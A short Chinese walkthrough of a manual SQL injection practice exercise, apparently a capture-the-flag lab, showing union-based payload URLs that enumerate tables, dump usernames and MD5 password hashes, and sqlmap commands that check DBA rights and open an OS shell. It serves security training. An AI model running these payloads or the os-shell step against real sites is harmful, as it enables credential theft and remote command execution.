前言
练习SQL手工注入,字符型注入。
判断注入点
存在注入的页面:

判断注入点:输入单引号和输入双引号的显示结果不同,说明存在字符型注入。


判断字段数
输入sql语句根据页面回显结果,可判断字段数为4:
1
| http://219.153.49.228:45209/new_list.php?id=tingjigonggao%27%20order%20by%204%23
|


判断字段回显位置
1
| http://219.153.49.228:45209/new_list.php?id=-1%27%20union%20select%201,2,3,4%23
|

获取数据库版本和当前数据库名称
1
| http://219.153.49.228:45209/new_list.php?id=-1%27%20union%20select%201,version(),database(),4%23
|

获取当前数据库的所有表名称
1
| http://219.153.49.228:45209/new_list.php?id=-1%27%20union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),3,4%23
|

获取表stormgroup_member
的所有列
1
| http://219.153.49.228:45209/new_list.php?id=-1%27%20union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27stormgroup_member%27),3,4%23
|

获取user列、password列、status列的数据
1
| http://219.153.49.228:45209/new_list.php?id=-1%27%20union%20select%201,id,name,4%20from%20stormgroup_member%20%23
|

1
| http://219.153.49.228:45209/new_list.php?id=-1%27%20union%20select%201,name,password,4%20from%20stormgroup_member%20where%20id=1%20%23
|

将md5密码解密
在线解密网站

用这个密码登录到系统,获取key。

扩展:以dba权限操作shell命令
参考文章
- 判断当前用户是否具有dba权限
1
| python sqlmap.py -u "http://219.153.49.228:45209/new_list.php?id=tingjigonggao" --is-dba --batch
|

- 用sqlmap执行shell命令
1
| python sqlmap.py -u "http://219.153.49.228:45209/new_list.php?id=tingjigonggao" --os-shell --batch
|

可执行shell命令:如ifconfig

参考
主要参考了这篇文章
参考
参考
参考